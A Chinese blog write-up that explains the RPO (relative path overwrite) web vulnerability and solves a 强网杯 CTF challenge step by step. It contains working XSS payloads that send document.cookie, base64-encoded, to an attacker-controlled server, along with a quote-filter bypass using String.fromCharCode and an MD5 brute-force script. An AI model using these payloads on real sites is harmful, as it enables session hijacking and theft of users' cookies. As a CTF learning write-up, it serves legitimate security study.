RPO漏洞

本文涉及的产品
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
全局流量管理 GTM,标准版 1个月
云解析 DNS,旗舰版 1个月
简介: 参考文献:http://120.77.209.122/index.php/archives/24/https://www.jianshu.com/p/340bd5353248RPO漏洞就是服务端和客户端对这个URL的解析不一致导致的,当页面中调用的静态文件是以相对路径调用的时候,我们可以利用浏览器错误的解析页面的路径从而去错误的引导静态文件(CSS)文件加载在apche上..%2f不能解析,只有在nginx上才能实现。

参考文献:
http://120.77.209.122/index.php/archives/24/
https://www.jianshu.com/p/340bd5353248

RPO漏洞就是服务端和客户端对这个URL的解析不一致导致的,当页面中调用的静态文件是以相对路径调用的时候,我们可以利用浏览器错误的解析页面的路径从而去错误的引导静态文件(CSS)文件加载

在apche上..%2f不能解析,只有在nginx上才能实现。条件这么苛刻,都不知道用处多大。。

http://www.cnblogs.com/p00mj/p/6755000.html:这个大佬的入门还是挺好的,可以看看这个,apache上也可以复现,代码就不贴了。有传参存在的时候,在这里浏览器误以为我们参数的键/country/是一个实际的路径,从而导致实际加载的css文件路径就成了
http://localhost/hello/url.php/country/style.css,在这里服务端收到的请求会认为请求/country/style.css是一个键为country值为style.css的参数,从而返回页面。

发现RPO后利用修改了网页的路径,使页面css加载路径成为了可以加载任意的google域名下的任意样式表,然后在样式表中找到一个可以使用参数导入背景的网页,向里面插入攻击参数,传入了一个简单的css样式。使用被攻击页面url进行引用,页面的css样式改变攻击代码在能成功执行。

实在是不想搭个nginx的环境了,将强网杯 share your mind 复现下好了

在源码中,其中一个调用js的时候没有/,存在rpo漏洞。

img_dfe19f857dbc065fa5c00df22a5ecc5f.png
1.png
img_34c00b172d7e669a50600d12d874e1ff.png
1.png
img_5b16add8cab43aa23328d90dcd404d67.png
2.png

payload:
http://39.107.33.96:20000/index.php/view/article/2664/..%2f..%2f..%2f..%2findex.php
(%2f是/的url编码,服务器能解析,但是浏览器不能解析)
其中,写文章的地方是我们可控的,写入我们想测试的xss语句,标题不要写,内容为alert(1),然后引用payload发现弹框了。

查看当前js的引用路径http://39.107.33.96:20000/index.php/view/article/2664/static/js/jquery.min.js
我们正常访问这个路径时发现内容和我们访问http://39.107.33.96:20000/index.php/view/article/2664的内容是一样的
这就说明,网页按照这个路径把2664的内容当做了js文件进行了请求,并且还当做js代码执行了,而后面的js的路径被当做了参数忽略了。

构建攻击payload

b=document.cookie;a='<img src=http://ip/'+btoa(b)+'>';  document.write(a);
ip为自己的服务器ip,在服务器上查看日志文件

因为攻击代码的引用时会过滤了单引号和双引号,所以要对payload进行实体化编码,用String.fromCharCode()函数引用
print map(ord ,"payload") //将payload放入进行实体化编码,python真的强
eval(String.fromCharCode()) //将实体化编码的payload放入
然后将http://39.107.33.96:20000/index.php/view/article/2578/..%2f..%2f..%2f..%2findex.php提交到Reports

img_9719081624366608bee7449acea38318.png
1.png

将GET后的内容base64解码,得到HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
提交的时候还需爆破substr((md5($code),0,6) ,贴下代码

# !/usr/bin/env python
import hashlib
def md5(s):
    return hashlib.md5(s).hexdigest()
for i in range(1, 99999999):
    if md5(str(i)).startswith('cd5664'):
        print i
        break

将里面的内容写成题目上给的就行

然后继续

var i = document.createElement("iframe");i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);i.addEventListener( "load", function(){ var content = i.contentWindow.document.cookie; location='//yourvps/'+btoa(content);}, false);

跟上面一样,就不贴了。。

目录
相关文章
|
8月前
|
存储 安全 容灾
安全防御之备份恢复技术
随着计算机和网络的不断普及,人们更多的通过网络来传递大量信息。在网络环境下,还有各种各样的病毒感染、系统故障、线路故障等,使得数据信息的安全无法得到保障。由于安全风险的动态性,安全不是绝对的,信息系统不可能保证不出现安全事故,因此,一旦出现安全事件造成信息系统中断或者数据丢失,如果事先采取了必要的备份准备并及时启用,能够最小程度的减少系统重构时间和对业务中断的影响。备份恢复技术是安全防御体系中的重要组成部分,旨在保护数据安全,防止数据丢失或损坏,提高企业的数据安全性和业务连续性水平。
167 5
|
4月前
|
存储 数据库 数据安全/隐私保护
服务器数据备份是保障数据安全、防止数据丢失和灾难恢复的重要措施
服务器数据备份是保障数据安全、防止数据丢失和灾难恢复的重要措施
123 1
|
监控 安全 数据安全/隐私保护
服务器数据恢复—如何预防服务器故障?发生故障后如何恢复服务器数据?
服务器常见故障: 硬件故障:磁盘、板卡、电源故障等。 软件故障:操作系统崩溃、程序运行错误等。 入侵破坏:加密、删除服务数据等。 不可控力:浸水、火烧、倒塌等。 误操作:格式化、删除、覆盖等。
|
容灾
面向失败的设计-故障与攻防演练锤炼容灾应急能力
阿里巴巴经过多年的技术演进,系统工具和架构已经高度垂直化,服务器规模也达到了比较大的体量。当服务规模大于10000台时,小概率的硬件故障每天都会发生。这时如果需要人的干预,系统就无法可靠的伸缩。为此每一层的系统都会面向失败做设计,对下游组件零信任,确保在故障发生时可以快速的发现和处理。
3399 0
|
Web App开发
微软发布应急补丁 修复IE零日攻击安全漏洞
3月30日消息,据国外媒体报道,微软宣布计划发布一个应急补丁,修复在IE浏览器中的一个零日攻击的安全漏洞。 IE浏览器的一个累积的补丁(MS10-018)修复黑客在最近几个星期利用的在IE 6和IE 7浏览器中的安全漏洞。
859 0
|
存储 Windows 语音技术

热门文章

最新文章